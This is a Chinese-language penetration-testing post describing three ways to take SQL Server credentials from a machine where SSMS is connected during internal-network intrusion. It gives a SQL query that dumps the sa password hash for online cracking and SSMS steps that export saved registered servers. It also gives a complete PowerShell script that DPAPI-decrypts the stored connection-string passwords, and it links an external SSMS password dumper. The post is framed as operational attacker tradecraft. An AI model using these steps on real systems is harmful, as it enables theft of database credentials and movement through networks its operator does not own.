三种方式获取SSMS连接密码

内网渗透是有的时候会遇到对方SSMS没断开连接正连着别的机器的mssql此时有两种方法可以获取sa密码

当密码强度较弱时可以使用第一只方式,第一种方式解不开的情况下可以使用后面二种方式

1.直接查询sa密码hash

使用如下语句:

Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = ‘sa’

直接得到sa密码hash

image.png

上cmd5解密

image.png

2.使用SSMS的注册导出功能

右键点击,然后选择注册

image.png

点击保存

image.png

点击识图然后点击已注册服务器

image.png

然后右键选择任务,然后导出

image.png

这个记得别勾,点确定

image.png

然后使用powershell脚本解密

param(
[Parameter(Mandatory=$true)]
[string] $FileName
)
Add-Type -AssemblyName System.Security
$ErrorActionPreference = 'Stop'
function Unprotect-String([string] $base64String)
{
return
[System.Text.Encoding]::Unicode.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String($base64String
), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
}
$document = [xml] (Get-Content $FileName)
$nsm = New-Object 'System.Xml.XmlNamespaceManager' ($document.NameTable)
$nsm.AddNamespace('rs', '//schemas.microsoft.com/sqlserver/RegisteredServers/2007/08')
$attr = $document.DocumentElement.GetAttribute('plainText')
if ($attr -ne '' -and $Operation -ieq 'Decrypt')
{
throw "The file does not contain encrypted passwords."
}
$servers = $document.SelectNodes("//rs:RegisteredServer", $nsm)
foreach ($server in $servers)
{
$connString = $server.ConnectionStringWithEncryptedPassword.InnerText
echo ""
echo "Encrypted Connection String:"
echo $connString
echo ""
if ($connString -inotmatch 'password="?([^";]+)"?') {continue}
$password = $Matches[1]
$password = Unprotect-String $password
echo ""
echo "Decrypted Connection String:"
$connString = $connString -ireplace 'password="?([^";]+)"?', "password=`"$password`""
echo $connString
echo ""
}

image.png

3.导出SSMS记住的密码

//www.zcgonvh.com/post/SQL_Server_Management_Studio_saved_password_dumper.html

//github.com/zcgonvh/SSMSPwd

Tags: